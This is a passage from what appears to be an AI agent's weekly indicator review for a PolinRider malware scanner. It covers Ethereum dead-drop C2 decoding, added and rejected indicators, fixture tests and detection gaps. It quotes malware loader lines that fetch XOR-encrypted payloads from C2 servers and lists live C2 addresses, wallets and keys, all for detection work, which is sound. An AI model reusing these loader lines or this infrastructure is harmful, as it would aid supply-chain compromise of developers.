• The routine’s fixture expectation for weak.txt cannot be met by the local check, for the reason in the gap above. This week’s weak entry was proved through ci/scan-workspace.sh instead: exit 1 with one review line on a manifest naming hex-type, exit 0 on a stylesheet with hextype, hex_type and HEX-TYPE. The strong fixtures exited 2 under both polinrider check --fs-only and ci/scan-workspace.sh, and the near-miss fixture — ulid, ulidx, terminal-logger, MicrosoftSystem64.vbs.txt, System64.vbs — exited 0 under both.
• cargo fmt --check, cargo clippy -D warnings, cargo test (179 passed), conformance/run.sh (90 passed) and ci/selftest.sh all pass on this branch. polinrider --version reports 43 strong, 94 packages, 33 network, 7 implant names, 25 weak. shellcheck is still not installed; no shell changed.
• Search results surfaced a repository named NeuroGenTech/polinrider-cleaner, described in its snippet as “INFECTED with PolinRider malware. Do not clone or use”, archived 2026-10-10, with the payload reported in lib/gh-preserve.sh on one branch. That file is part of 1.x, so this reads as a copy of this repository that was itself infected. It is outside this review’s access and was not opened; it is recorded because the maintainer will want to know, not as an indicator.
• The OpenSSF clone was ~2 GB and was deleted after the search.
• No page, repository or record read during this review attempted to give the reviewer instructions. The OpenSSF records carry the standard “treat the computer as fully compromised” advisory text, directed at readers.
• The commits on this branch are unverified, for the reason the standing appendix documents: the container’s signing key is registered to Claude, and authoring as the maintainer yields unknown_key. Squash-merge resolves it.

Sources

New primary sources read in full this week, neither of them previously cited in this directory:

Reachability re-checked this week, since the table in the directory README says to do that regardless of what it claims:

The last two rows of that list matter more than they look. See the notes.

Sources that exist and could not be read. SlowMist published “PolinRider Poisons Nova Using On-chain Transactions as a C2 Manager” on 2026-09-21, on Medium, which returns 403 here. Search summaries describe it as corroborating the Ethereum dead-drop mechanism independently of SafeDep. Nothing in this entry is lifted from it. Socket’s own 2026-09-17 Packagist post is likewise 403, and Gurucul’s 2026-09-23 indicator post sits behind a community login.

Upstream state

main carries the 2026-09-28 review, so this week’s branch is based on main and not stacked on an unmerged one, unlike the last two.

The dossier has not moved in twelve weeks. What moved is that a second analyst team has published a full teardown of a branch of this campaign that ioc/ had almost no coverage of, and a third source — a machine-readable malicious-package database — turns out to be readable from here.

SafeDep, 2026-09-30: the Ethereum dead drop, two wallets, 35 repositories

A malicious pull request against oxc-project/oxc on 2026-09-14 put the loader into 20 build and test scripts. The maintainers did not merge it; an [autofix.ci] formatter commit reflowed the one-line payload into 106 lines, which is the only reason it was visible in the diff at all. From that one diff SafeDep decoded every stage statically and walked the chain outward to 35 GitHub repositories still carrying the loader at HEAD on 2026-09-30, with 7,578 stars and 2,884 forks between them. Four Creative Tim dashboard templates in that set account for 1,773 forks.

The mechanism is the one this repository already knows as NullReceiver, with a different chain and a second wallet:

• The loader asks three public Ethereum RPC endpoints for the current block number, rounds down to a multiple of 256, adds 3, and reads that block looking for a transaction whose sender contains a fixed 32-hex substring.
• The recipient address of that transaction is the payload: bytes 1–4 are an IPv4 address and bytes 5–6 a port, then a second pair at offset 7. The post shows the decode by hand — c6 69 7f d2 is 198.105.127.210, 01bb is 443.
• Two operator wallets run this. 0x33ff3eda…9891 has posted every 256 blocks (~51 minutes) since 2026-06-23, 2,895 transactions. 0xa322E5f3…Ef1a — the wallet already in strong.txt — posts every 1,000 blocks since 2026-07-25, 491 transactions.
• Because every rotation is a transaction, the wallet history is the C2 history. SafeDep decoded all of it: eleven servers across the two wallets, eight of them on AS149440 (Evoxt).

Three things about this bear on the current set, and all three are now fixed or written down:

1. ioc/ had two of the eleven C2 addresses for the 0x33ff branch and three of six for 0xa322. The chain had simply not been read back far enough by the sources previous entries used. All eight missing addresses are added.
2. The 0xa322 wallet address in strong.txt is in the wrong case. It was added on 2026-09-14 lowercased. ioc/ is matched with grep -F and no -i, and the literal in an infected file is the checksummed mixed-case form — SafeDep prints '0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a'.toLowerCase() straight out of postcss.config.js in one victim repository. The existing entry has never matched a sample. Both forms are now carried.
3. The first XOR key in strong.txt is a ten-character prefix of a sixteen-character key, and this source settles the question the last entry could not. See below.

The XOR-key question from 2026-09-28 is answered, and the answer is the other one

The 2026-09-28 entry read OpenSourceMalware’s column-aligned table

XOR keys           q4FZkxX{!h,Sr3=@   y-p_>d$0B&@^1aQk

as two keys separated by the comma, could not tell whether the run of spaces in the second belonged to the key or to the column alignment, and carried q4FZkxX{!h — the longest unambiguous part of the first — plus the whole of the second. That reasoning was sound given one column-aligned table. It was wrong about where the boundary falls.

SafeDep prints the same pair as two arguments in source code:

await rl(new URL(`http://${o}:443/0x/cls`), 'q4FZkxX{!h,Sr3=@', !1);
await rl(new URL(`http://${o}:443/0x/ls`),  'y-p_>d$0B&@^1aQk', !0);

and its own indicator CSV repeats it per path: /0x/cls → “Response XOR key q4FZkxX{!h,Sr3=@”, /0x/ls → “Response XOR key y-p_>d$0B&@^1aQk”. The comma is inside the first key, both keys are sixteen characters, and the run of spaces in OpenSourceMalware’s table was column alignment after all.

So q4FZkxX{!h,Sr3=@ is added. The shorter q4FZkxX{!h is kept, not replaced: it is a prefix of the full key, it still matches every sample the full key matches, and it additionally covers a build that reuses only the first half. The cost is one extra line of scanner output on a file that is already INFECTED. The 2026-09-28 entry stands as written and was not edited — this paragraph is the correction, and the comment above the two entries in ioc/strong.txt records it where someone reading the data will see it.

OpenSSF malicious-packages: the 55 package names

SafeDep mentions in passing that “the OpenSSF malicious-packages database has 70 records (68 npm and 2 PyPI) that contain 0xa322E5f3 or the /0x/cls path”. That database is a public git repository on github.com, which is reachable from here, so it was cloned and searched rather than taken on trust. The search returns 71 records — 69 npm, 2 PyPI — published between 2026-06-24 and 2026-10-04, every one of them matching an indicator this repository already carries.

Each record names its reporter: Amazon Inspector, GitHub Security Advisories, or Kamil Mańkowski’s bad-packages feed. The pybitjs record makes the attribution explicit — “The payload and embedded IoCs are consistent with campaigns attributed to Lazarus APT/PolinRider” — and cites the Deception.Pro report as a reference, which is how that third source came to be read.

Two separations were done before anything was added, and both were mechanical rather than judged:

• Attacker-owned versus hijacked. Every candidate was fetched from registry.npmjs.org or pypi.org. A package whose entire version history has been removed — latest absent, or the 0.0.1-security placeholder npm substitutes — is one the registry treats as wholly malicious. A package with a real latest and years of history is a hijacked victim, and for those the name alone is not a finding, so they go in as comments with their versions. That split put nine packages on the comment side, including three (@kolbo/mcp, 265 versions, latest 1.107.2; and @syncraft-labs/core, /react, /vue) that are still live on npm with a later clean release.
• The substring trap. bad-packages.txt is matched with grep -F, so a name that is a prefix of a real package reports every project depending on the real one as INFECTED. Each candidate was run through npm’s search API, and every superstring it returned was then fetched directly to see whether it was a live maintained project or a placeholder. That caught five, listed under considered and not added. This is the first week this check has been done mechanically instead of by eye; see the notes.

Fifty-five names survived both filters and are added.

Deception.Pro, 2026-09-09: a honeypot with an operator in it

Published inside the 2026-09-14 window and missed by that sweep. It records an operator working interactively on an infected host for about 167 hours: installing Python 3.14 machine-wide, pulling clipboard-theft and screen-capture dependencies with pip, laying down three separate persistence mechanisms, and exfiltrating over HTTP POST with rotating user agents.

This is a source no previous entry has used, and I had no prior basis for trusting it. It is carried because it is corroborated twice over, from directions it could not have arranged:

• its loader C2, 23.27.13.135, is independently confirmed by SafeDep as the 0xa322 C2 for 2026-08-22 to 2026-08-27 — a window the report could not have known from any other published source, because SafeDep is the first to decode the rotation; and
• the OpenSSF record for pybitjs, written by Amazon Inspector and Kamil Mańkowski, cites this report as one of its references.

Its contribution is the Windows hands-on-keyboard stage, which ioc/ had nothing on: a %TEMP% stager pair and a VBS run from both a scheduled task and a Startup entry, under a name that impersonates the .NET native-image service. Four indicators from it are added — two filenames, one C2 address and one file-host string — and everything else it publishes is turned away below. A maintainer who does not want to rely on this source can drop exactly those four lines: each sits in its own commented block naming it.

Episode 23, 2026-10-02: the fake font drops the font extension

The only post inside this week’s window is a podcast episode, and it is not nothing. Two weeks after the A/B-testing analysis, the hosts report that the same payload has been given a .llf extension, which has nothing to do with fonts, and that they counted over 120 versions of it live on GitHub on 2026-09-28. The repository one of them was researching was force-pushed and overwritten between a Friday-night blog post and the Monday morning, changing the file type — the rotation observed in real time, in the window between publication and promotion.

Two things follow:

• This is the first current-variant font indicator the set can carry. The 2026-09-28 entry rejected fa-solid-900.woff2 because that is a genuine Font Awesome filename and filenames.txt is INFECTED tier with no weaker path tier. .llf does not have that problem: Font Awesome ships .woff2, .woff, .ttf, .eot and .svg, and no legitimate project names an .llf after a font weight. filenames.txt is already extended regex, which has been true all along and which no previous entry has used for this vector, so the weight can be a character class instead of a guess.
• The source is a spoken transcript, and the filename is stated across two sentences — “they’re keeping the front of the file name basically the same, so fa-solid- fill in a number”, then “the one that I saw was 300, but instead of .woff2 it’s a .llf”. No single literal is printed anywhere on the page. That is a reason to carry the pattern rather than a specific name, not a reason to carry nothing: every element of the regex is stated explicitly, and the number is the part the source says rotates.

The episode also mentions, as history rather than as a current finding, that earlier sub-variants used fake .dic dictionary files and that those older forms are “coming back”. Nothing is added for that; see below.

Added

Eighty-three indicators, from four sources read in full.

ioc/strong.txt — 11

ioc/weak.txt — 5

ioc/network.txt — 8

All eight recovered by decoding heartbeat recipients off the Ethereum ledger, or from the honeypot capture. 198.105.127.210, 166.88.134.62, 166.88.73.46 and 193.247.144.38 were already present and are independently confirmed by this source.

The more durable fact here is AS149440 (Evoxt): eight of the eleven servers across both wallets sit on it, and the addresses rotate roughly weekly. That is an autonomous-system block, which network.txt cannot express — noted under techniques, not implemented.

ioc/filenames.txt — 3

ioc/implant-paths.txt — 1

ioc/bad-packages.txt — 55

Every name from the 71 matching OpenSSF records that passed both filters above. Source for all of them: OpenSSF malicious-packages at commit ae1ef409, read 2026-10-05, with the per-name record ID below; and SafeDep for the finding that this database holds them.

npm, 53 names:

PyPI, 2 names: pybitjs (MAL-2026-14545) and pyservercheck (MAL-2026-15603). Both are gone from PyPI, and neither is a substring of anything in the live /simple/ index, which was downloaded in full and searched to confirm it.

MAL-2026-17524 for tailwindcss-forms-styles was published 2026-10-04 — yesterday. This set is still growing weekly.

Two existing comments corrected

Not new indicators, but the existing hijacked-version note in bad-packages.txt understated two ranges, and the OpenSSF records list every affected version:

• fetch-page-assets — was “1.2.9 through 1.2.14”, is 1.2.9 through 1.2.16 (MAL-2026-6358)
• html-to-gutenberg — was “4.2.11”, is 4.2.11 through 4.2.22 (MAL-2026-6359)

Both have since been cleaned up on npm: on 2026-10-05 the dist-tags are fetch-page-assets@1.2.8 and html-to-gutenberg@4.2.10, behind the first malicious release in each case. The note now says so.

Verified against fixtures

Built outside the repository working tree and scanned with ci/scan-workspace.sh:

• one file carrying all eleven new strong.txt strings → INFECTED, exit 2
• one file carrying only the five new weak.txt strings, in their real sample forms (global.i="A9-0337-4", global.i = 'A10-*23720', global.o='1-35', the lower-cased header, a files.catbox.moe URL) → review only, exit 0, and exit 1 under --fail-on review
• a directory holding only SvcHostUpdate.py and MicrosoftCLROptimization.vbs → INFECTED, exit 2, on the filenames alone
• a directory holding fa-solid-300.llf and fa-solid-900.llf → INFECTED, exit 2, both of them, on the filename regex alone
• the .llf regex’s near misses, with real WOFF2 magic bytes so the existing font-masquerade check stays quiet: fa-solid-900.woff2, fa-solid-300.woff2, fa-regular-400.woff2, levels.llf, fa-solid-brands.llf and fa-solid-30.llf (two digits) → zero findings, exit 0. The same directory with the .woff2 files holding non-font content is correctly INFECTED on the pre-existing magic-bytes check, which is how it was confirmed that the new regex and not that check is what fires on the .llf names
• a package.json naming six of the new packages across both ecosystems → INFECTED, exit 2
• each of the sixteen new content indicators in a file of its own → all sixteen fire, eleven INFECTED and five review. The deduplicating output of a combined scan hides this, which is why it is done separately
• all 55 new package names checked individually against the stripped indicator list the scanner builds → all 55 match as fixed strings, none missed
• near-miss negatives → zero findings, exit 0: a package.json depending on tailwindcss-animate, tailwind-animate, tailwind-animations, tailwind-container-queries-2d, @webdev-config/eslint, tailwindcss-forms, tailwind-forms, pybit, sass-formatter, typeorm-encrypted and clsx-tailwind-merge; and a file carrying global.item = "Abc", global.optimize='5-841', X-Payload-B65, _$_feg0, the 0xa322 address with its last character changed, the new XOR key one character short, test26330331 without the project, and references to /tmp/.pip and ~/.node_modules; plus files named clr_init.vbs and SvcHostUpdater.py
• ./polinrider.sh --path on the strong fixture → exit 2; on the negative fixture → exit 0
• machine-cleanup/check-linux.sh against a clean directory → output byte for byte identical to the same run from a worktree of unmodified origin/main, apart from the timestamp and report filename, so nothing in the new network.txt or implant-paths.txt lines changes its behaviour
• no duplicate line anywhere in the set, and no line present in both strong.txt/bad-packages.txt and weak.txt

Considered and not added

Five names from the same 71 OpenSSF records. Each is a strict substring of a live package, verified by fetching the real one from the registry rather than assuming:

This is the same trap as sass-format, typeorm-encrypt and clsx-tailwind, recorded on 2026-09-14. Matching any of these eight needs a whole-name check against a parsed manifest.

The six heartbeat recipient addresses, and the four funder wallets. 0xc6697fd201BB2d89C685005000FF68cE430F572A and its five predecessors are the transaction recipients the C2 addresses are decoded from; 0xd31A213E…, 0x76D6dDCB…, 0x4E5B2e1d… and 0x96C8e62C… funded the two operator wallets. None of the ten appears in a file on disk — they exist on the chain — and strong.txt matches file contents, so carrying them would produce entries that can never match. This is the same reasoning strong.txt already records for the NullReceiver recipient (“disposable by design and deliberately not listed”), and 0x4E5B2e1d… is additionally described as a high-volume wallet, which is a false-positive risk on top. The decoded IP addresses are what reaches network.txt, and they are all there.

68656c6c6f6970626f742121. The hex of helloipbot!!, the fixed 12-byte tail of every 0xa322 heartbeat recipient. A chain artifact, like the ten above: it is a property of the address, not a string in the loader. Carried nowhere. strong.txt already notes the plaintext joke in its NullReceiver comment.

X: 33ff3edaf55a8e03dcbc7cb40d498a49:5-841-du. A request header assembled at run time. Its distinctive half is the 32-hex sender check, which is carried on its own and matches wherever the header is written literally.

Sec-V. Third rejection, same reason: five characters.

The five published SHA-256 hashes — 02b7e072…, 84a3f1bd…, 5cbcb8e1…, f6d9f2fb… and 3be09f8c… — and the five from the Deception.Pro report. This is the fourth consecutive week real published hashes have been turned away, and the count of examples behind the gap goes from five to fifteen. The reason is unchanged and is a property of the code, not of the hashes: both hash sweeps in lib/local-common.sh are bounded to files larger than 10 MB and smaller than 300 MB, or keyed to an implant-paths.txt path, and ci/scan-workspace.sh does not read hashes.txt at all. Every hash here is a C2 response, a stager or a wheel — kilobytes. Adding them would make the set look like it covers the Ethereum branch when nothing would ever compare them.

~/.node_modules and /tmp/.pip. The private npm prefix the stage-4 script installs axios and socket.io-client into, and its fallback pip target. implant-paths.txt is INFECTED tier with no weaker path tier, and both are paths a developer could plausibly create — ~/.node_modules in particular is a documented way to configure an npm prefix. Fifth week the missing weak path tier has blocked an addition. ~/.local/bin/py is rejected for the same reason and is worse: py is the real Python launcher’s name.

clr_init.vbs. Dropped beside MicrosoftCLROptimization.vbs. Ordinary enough that a legitimate .NET tool could write it, and filenames.txt has no review tier.

files.pythonhosted.org and bootstrap.pypa.io. The stage-4 script installs Python and pip from them. These are PyPI’s own CDN and bootstrap host; carrying either at any tier would fire on essentially every Python project.

microsoft-standard-WSL2. The loader checks os.release() for it, to decide whether to also start node.exe and cross from the WSL2 guest to the Windows host. Every WSL2 kernel release string contains it. The technique is new and worth a maintainer’s attention; the string is not an indicator.

global._p_t, _H2, _t_s, _t_u, and _$_xxxx=(function(. The 30-second re-entry guard and the globals SafeDep uses to tie this campaign to its earlier astro.config.mjs and @joyfill investigations. Two problems: the first three live in stage 2, which reaches the repository file only as an encoded blob, and the 0xa322 loader is written with \u escapes, so even the plaintext ones are not plaintext in the file — SafeDep had to convert the escapes before reading them. The table pattern is a regex. See the techniques section; this is a detection problem, not a missing string.

/boot, /0/boot, /init, /0/body, /snv, /$/1, /u/f. The request paths of the 0x33ff branch. Unlike /0x/cls and /0x/ls, carried last week because that build’s string table is legible, these live in stage 2 — dictionary compressed inside the repository file — so they do not appear in a scanned file. And /boot and /init as fixed strings would match ordinary code.

The sandbox-evasion host and user list — buildkitsandbox, github-runne, codespace, devcontainer, vercel-sandb, assemblyline — and the Blocked (BOT) marker. String-table entries of stage 4, which is downloaded rather than committed, and ordinary words besides. codespace and devcontainer would fire on a great many repositories.

AS149440, AS397423, AS212477. Eight of eleven servers on one autonomous system is the most durable network fact in the SafeDep report, and network.txt holds addresses. An AS-level blocklist is a different artifact; see techniques.

Commit 41ab07a849c68472779da562d1530cf19f116ccf, and all the victims. oxc-project/oxc, tailwindadmin/admin, the four Creative Tim templates, the admin-dashboards organization, visanduma and the developer named in Socket’s Packagist write-up. The precedent is settled and this entry does not reopen it: a victim’s name is not an indicator of anything in someone else’s project. The one exception is the visanduma/nova-two-factor line added as a comment in the hijacked block, where it cannot match anything and tells a PHP shop something they would want to know.

The .dic fake-dictionary variant, and fa-solid-NNN.woff2 once more. Episode 23 says older sub-variants used fake .dic files and that they are returning, but it does not pair the .dic extension with the fa-solid- prefix, and a bare \.dic$ is an ordinary dictionary file — spellright.dict was rejected on the same grounds on 2026-09-14. The .woff2 forms stay out for the fourth week: fa-solid-900.woff2 is a real Font Awesome filename, and a regex over the weight does not help when the extension is the legitimate one. Both are caught today only by the font-magic-bytes check in ci/scan-workspace.sh, which remains the most durable detection this repository has for this vector and which the local checks still do not do.

The GlassWorm cluster. Search results this week repeatedly conflate GlassWorm with PolinRider — a Medium write-up and nocturnalknight.co both describe ForceMemo as a PolinRider “phase” that uses GlassWorm-stolen tokens. The primary source says otherwise: OpenSourceMalware’s own GlassWorm post, 2026-03-16, states “This new campaign is probably Russian in origin — not DPRK”, and tracks it separately. Its indicators — the Solana C2 address, the lzcdrtfxyqiplpd marker, ~/init.json, the thirteen IPs, the AES key and IV — stay out. Recorded here because the conflation is in secondary coverage that a future reviewer will hit again.

The GHAPPIER set, again. No new primary material. Scope decision from 2026-09-21 stands and remains the maintainer’s to revisit.

SlowMist’s “Nova” report and Socket’s Packagist post. Both describe the same Ethereum dead drop SafeDep decoded, which makes the mechanism three-source corroborated — and neither is readable here (Medium 403, socket.dev 403). No string is lifted from a search summary of either.

New techniques — maintainer decisions, not implemented

Nothing below is implemented. The first three are the ones that would change what this repository can detect.

1. An AS-level network tier. Eight of the eleven C2 servers across both wallets are on AS149440 (Evoxt), and the addresses rotate roughly weekly — network.txt gained seven addresses this week that were current for between three and eighteen days each. The file’s own header already says “IP addresses rotate: block them, do not rely on them”, and this week is the measurement that proves it. An AS or CIDR tier would be stable where the addresses are not. It is also the one piece of this that is useful without the scanner: an egress policy can block an AS.
2. The \u-escape problem, which defeats fixed-string matching outright. The 0xa322 loader is plain JavaScript written with Unicode escapes; SafeDep had to convert them before any of its strings were legible. That means global.i="A8-, global.i = 'A8, the wallet addresses and the XOR keys — the better half of strong.txt — do not match the raw bytes of a file in that family, whatever their case. Nothing in ioc/ can fix this, because the problem is not which string to match but that the file does not contain the string. What would fix it is a normalisation pass before matching: decode \uXXXX and \xNN escapes in a copy of the candidate file and scan that too. This is the highest-value code change this review has identified, and it is not a one-line one.
3. The regex content tier, and the weak path tier. Fourth and fifth consecutive week respectively. This week they would have let in _$_[0-9a-f]{4}=\(function (which is one of the two expressions SafeDep recommends), node .*fa-solid-[0-9]{3}\.woff2 from last week, and ~/.node_modules, /tmp/.pip and clr_init.vbs as paths worth a look rather than a verdict.
4. A long-line check. SafeDep’s first recommended hunt is not a string at all: grep -rnE '.{1000,}' over .js, .mjs, .cjs and .ts. The payload in the oxc commit sits after 2,000 space characters on the last line of each of 20 files, and the September fake-font builds pad with 273 and 421 tabs. This is content-independent, survives every rotation this campaign has shown, and ci/scan-workspace.sh does not do it. Cheap to add and it does not touch ioc/ at all.
5. An author/committer mismatch check. SafeDep’s third hunt is git log --format='%h|%an|%cn|%ad|%cd' | awk -F'|' '$2 != $3', and the oxc commit is the illustration: author an oxc maintainer dated 2026-07-16, committer the attacker account dated 2026-09-25, ten weeks apart, message describing a real benchmark change. AGENTS.md already warns that git history cannot be trusted to decide whether a branch is clean — this is the positive form of that warning, a fingerprint rather than an absence, and it matches what the 2026-09-28 entry recorded from the activity API (814 of 853 force-pushes rewrote only the tip with the same parent and author date).
6. WSL2 guest-to-host crossing. When os.release() contains microsoft-standard-WSL2 the loader starts node.exe as well as node, so an infection contained in a Linux guest reaches the Windows host. The local checks are split by operating system and check-linux.sh has no reason today to care about Windows paths. A developer running WSL2 needs both checks, and nothing currently says so.
7. Python as a second runtime. The stage-4 script installs Python (on Windows from python.7z and 7zr.exe) and pip from bootstrap.pypa.io, then runs a detached Python stager. The Deception.Pro capture shows the same thing from the other side: Python 3.14 installed machine-wide, clipboard and screen-capture dependencies pulled in. Every implant check in this repository looks for a Node binary or a Node process. A .pth file — which is how the pybitjs package re-executes on every Python interpreter start — is a persistence mechanism with no coverage here at all, and it is quieter than anything on the Node side.
8. A cross-ecosystem manifest check. Two of this week’s names are PyPI packages and one earlier compromise is a Packagist branch. bad-packages.txt is a flat list of names with no ecosystem column, which is adequate for grep -F and inadequate for the whole-name check that gaps 1 and 3 of the standing list both need.

Open gaps

The July 2026 ecosystem expansion. Carried forward for the fourth week, and narrowed rather than closed. socket.dev returned 403 again on both the tracker and the blog, so the authoritative 108-package list is still unreachable. thehackernews.com is now reachable and was read in full: it confirms the shape — 162 release artifacts, 108 unique packages, 19 npm, 10 Composer, 61 Go modules, one Chrome extension — and names none of them. The one Chrome extension is still unnamed in every reachable source. What did improve is adjacent rather than identical: the OpenSSF database yielded 55 names tied to this campaign’s own indicators, which is the first substantial package coverage this set has had. Closing the original gap still needs socket.dev, or Socket’s data mirrored somewhere that is not socket.dev.

sass-format, typeorm-encrypt and clsx-tailwind — now eight names, with this week’s five. Unchanged in substance: known-malicious, deliberately unmatched, each a strict substring of a live legitimate package. What changed is that the check is no longer a judgement call — registry.npmjs.org and pypi.org are reachable, so a future reviewer can establish the hazard instead of suspecting it. Still needs a whole-name check against a parsed manifest.

The npm CLI persistence has no coverage. Unchanged, and no longer clearly the highest-value open item — the \u-escape problem (technique 2) is arguably ahead of it now. npm/lib/cli.js overwritten with a ~1 MB malicious CLI defeats the documented cleanup sequence, and nothing here detects it. Blocked on nobody.

hashes.txt cannot hold a small-file hash. Carried forward from 2026-09-21, now with fifteen published examples turned away rather than five. The file’s header promises “any file matching one of these is the implant, whatever it has been renamed to”, and the code delivers that only for files between 10 MB and 300 MB or sitting on an implant-paths.txt path.

No blob-ID tier. Carried forward from 2026-09-21, unchanged.

The font-vector indicators are one variant behind — narrowed, not closed. Carried forward from 2026-09-28. (^|/)fa-solid-[0-9]{3}\.llf$ is added this week and is the first entry that matches a variant currently in circulation, so the vector is no longer covered only by a 400-specific command string. What is still open is the larger half: the three .woff2 weights, which are live and which cannot go in an INFECTED-tier filename list because fa-solid-900.woff2 is a real Font Awesome name. Those need the weak path tier, or the regex content tier for the task command (node .*fa-solid-[0-9]{3}\.woff2). Until then a .woff2 variant is caught by the font-magic-bytes check alone, and only in ci/scan-workspace.sh.

No weak tier for filenames. Carried forward from 2026-09-28, blocked three additions again this week (~/.node_modules, /tmp/.pip, clr_init.vbs).

New gap: nothing in this repository matches a \u-escaped payload. Stated as technique 2 above and repeated here because it is a gap in what the set can do, not just a change the campaign made. An entire loader family — 18 of the 35 repositories SafeDep confirmed — is written so that grep -F against ioc/ finds nothing in it.

New gap: no Python-side coverage. Technique 7. Two PyPI package names are now in bad-packages.txt, which is a start and is not detection: nothing here looks for a .pth file, a ~/.local/bin/py, or a detached python -c process.

Notes

• The sandbox can reach the package registries, and no previous entry knew it. registry.npmjs.org, pypi.org/pypi/<name>/json and the full pypi.org/simple/ index (46 MB uncompressed) all serve content here. That turns the substring check that has blocked eight package names into a mechanical test, and it is how this week’s five rejections were established rather than guessed. It also means npm dist-tags can be read directly, which is how the two corrected version ranges were confirmed. Worth re-verifying, like everything else in that table.
• safedep.io and blog.deception.pro are reachable too. Neither appears in the standing appendix in either direction. safedep.io needs curl -L: the un-slashed URL returns 308 and a bare fetch gets an empty body. Its article pages embed the indicator CSV verbatim in a data-csv attribute on the download button, which is a better source than the rendered table — it is where the XOR-key boundary was settled byte for byte, with no column alignment to guess at.
• medium.com returns 403. New entry for the blocked list. It cost this review the SlowMist report.
• Two self-tests that have failed here for four weeks now pass. ci/selftest-restore.sh and ci/selftest-rewrite.sh both pass in this container, on this branch and in a worktree of unmodified origin/main. The standing appendix lists them as failing for want of git behaviour the sandbox does not provide; whatever that was, it is provided now. selftest-ui.sh still fails, identically on both, on the same single assertion — “the wordmark is 207 columns wide”, 59 passed, 1 failed. That one is a terminal width, not a defect.
• shellcheck is still not installed. bash -n passes on every script. This change touches ioc/*.txt and Markdown only, with no shell code changed, so CI’s shellcheck gate is unaffected — but a future review making a code change still cannot validate it here.
• The classification inconsistency the 2026-09-21 entry raised — TRON and Aptos endpoints in both weak.txt and network.txt, the Ethereum ones in weak.txt only — is unresolved and untouched. This week adds eight addresses to network.txt and nothing to the endpoint lists, so it neither improves nor worsens.
• The OpenSSF clone is ~2.1 GB checked out. It was deleted immediately after the search, and the 55 records’ contents kept as a 144 KB JSON extract. A future reviewer wanting to repeat this should expect the disk cost and should not use --filter=blob:none, which makes the subsequent checkout fetch blobs one request at a time and never finishes.
• One source contained an error worth recording. The OpenSSF record for tailwind-anim (MAL-2026-11500, Amazon Inspector) prints the operator wallet as 0xa322e5f3d311d3080e6f01210463e9adc2490ef1a — 41 hex characters, one too many, and not the address. The record’s own etherscan reference gives the correct form. Nothing was lifted from the mistyped string; noted because it is exactly the sort of thing that becomes an indicator that silently never matches.
• No page, repository or document read during this review attempted to give the reviewer instructions. The Deception.Pro and OpenSourceMalware posts both carry recommendations addressed to developers, and the OpenSSF records carry the standard “treat the computer as fully compromised” advisory text; all of that is ordinary editorial content directed at readers, not at an agent, and none of it asked for anything outside this review’s scope.
• The commits on this branch are unverified, for the reason the standing appendix documents: the container’s signing key is registered to Claude, and authoring as the maintainer — which is correct — yields unknown_key. Squash-merge resolves it; GitHub signs the squash commit itself.

Sources

Also re-checked: the blog’s post paths serve full server-rendered content, as 2026-09-14 recorded. The bare domain still returns the empty single-page-app shell.

This week’s read was done by enumerating the blog index rather than following the posts a previous entry named, which is the mechanical fix the 2026-09-21 entry asked for after finding that the 2026-09-14 sweep had missed an August post. The index lists 84 posts; the two inside the eight-day window are polinrider-is-a-b-testing-its-way-past-your-detections (2026-09-26) and the-opensourcemalwareshow-episode22 (2026-09-25). Both were read in full. introducing-weaselbiscuit and the-opensourcemalwareshow-episode21, both 2026-09-17, fall just outside the window but inside the gap since the last entry; both were read and both were already covered by the 2026-09-21 entry.

Upstream state

The last two reviews are still unmerged, and this one is stacked on them. main is still at the 2026-09-14 review. The 2026-09-21 branch (ioc/2026-09-21, #33) exists on the remote and has not been merged, so this week’s branch is based on it rather than on main. Five of the indicators this review would otherwise have proposed — the five public Ethereum RPC endpoints — are already in that branch’s weak.txt, and are not re-added here. A reviewer merging these out of order will get conflicts in README.md, docs/indicator-reviews/README.md and ioc/weak.txt; merging #33 first reduces this pull request to this week’s changes alone.

The dossier has not moved in eleven weeks. The blog has, and it has moved directly against this repository’s detection method.

The 2026-09-26 post is a case study of one infected GitHub organization (Binary-Mindz, three backend repositories, infected since January 2026) read off GitHub’s server-side activity log, which the malware cannot backdate. Its central claim is that the campaign is not evolving in a line but running variants in parallel: the fake font now exists as fa-solid-400.woff2, fa-solid-500.woff2 and fa-solid-900.woff2, and on 2026-09-25 the 900 variant was pushed to all three repositories and then rolled back to an updated 500 in two of them within 32 minutes. The post’s own framing is an A/B test, and it makes the point that “a lot of the detection advice circulating for PolinRider assumes the last sample tells you what the next one will look like”.

Three things in it bear directly on the current indicator set:

• fa-solid-900.woff2 is a genuine Font Awesome filename, and during the 400 and 500 periods a real 79,444-byte fa-solid-900.woff2 sat in the same folder as the fake. The 900 variant takes that name.
• The payload no longer lives under public/fonts/. In the 2026-09-25 push it landed at a different, project-plausible path in each repository, with public/fonts/ nested inside it — prisma/generated/prisma/internal/public/fonts/… in one, a NestJS module’s dto/… folder in the other two.
• The whitespace padding is not reliable either. The 500 builds pad with 273 and 421 tab characters; the 900 payload starts directly with code.

The one indicator in ioc/ that the post directly dates is node ./public/fonts/fa-solid-400.woff2, added on 2026-09-14. It is still correct and still fires on 400 samples, but it is now demonstrably variant-specific and path-specific, and the post publishes a 900-variant task command that shares none of it. See the open gaps.

Added

Eleven indicators, all from one source read in full.

The second XOR key is carried as a substring, on purpose

The source prints the pair inside a pre-formatted table:

XOR keys           q4FZkxX{!h,Sr3=@   y-p_>d$0B&@^1aQk

The first key is unambiguous. The second contains a run of three spaces, and because the surrounding table is column-aligned with spaces there is no way to establish from the page whether those three characters are part of the key or part of the layout — and every other row in that table separates its values with a comma and a space, where this one does not. Guessing would produce a fixed string that silently never matches, which is the failure mode the 2026-09-21 entry rejected the A9-0204-3 marker over. So the entry is y-p_>d$0B&@^1aQk: the longest tail of the published key that contains no whitespace, sixteen high-entropy characters, which matches the key however much space precedes it.

This reverses last week’s rejection of the C2 paths

The 2026-09-21 entry turned away /0x/cls and /0x/ls with the reasoning that they “are request paths built at runtime against an address the loader resolves from the chain; they do not appear in a scanned file, and weak.txt matches file contents only.”

This week’s source says the opposite about the 500 variant, in as many words: its indicators — “the Ethereum wallet, the C2 paths, the response header” — “can be read straight out of the file”, because that build uses a common _0x string-array obfuscator that leaves its string table legible. I confirmed the mechanism is plausible by reading the post’s own listing of that string table, which prints the wallet (already in strong.txt), the paths and the header together as strings recovered from the file rather than from traffic.

Both entries stand. The 2026-09-21 reasoning was correct for the sample it had and is correct for the 900 variant, which encodes all of these; it was wrong as a general claim. They are carried at review tier, not INFECTED, and the port prefix the source prints (:443/0x/cls) is dropped so the entry matches whether or not the literal in the file carries it.

Verified against fixtures

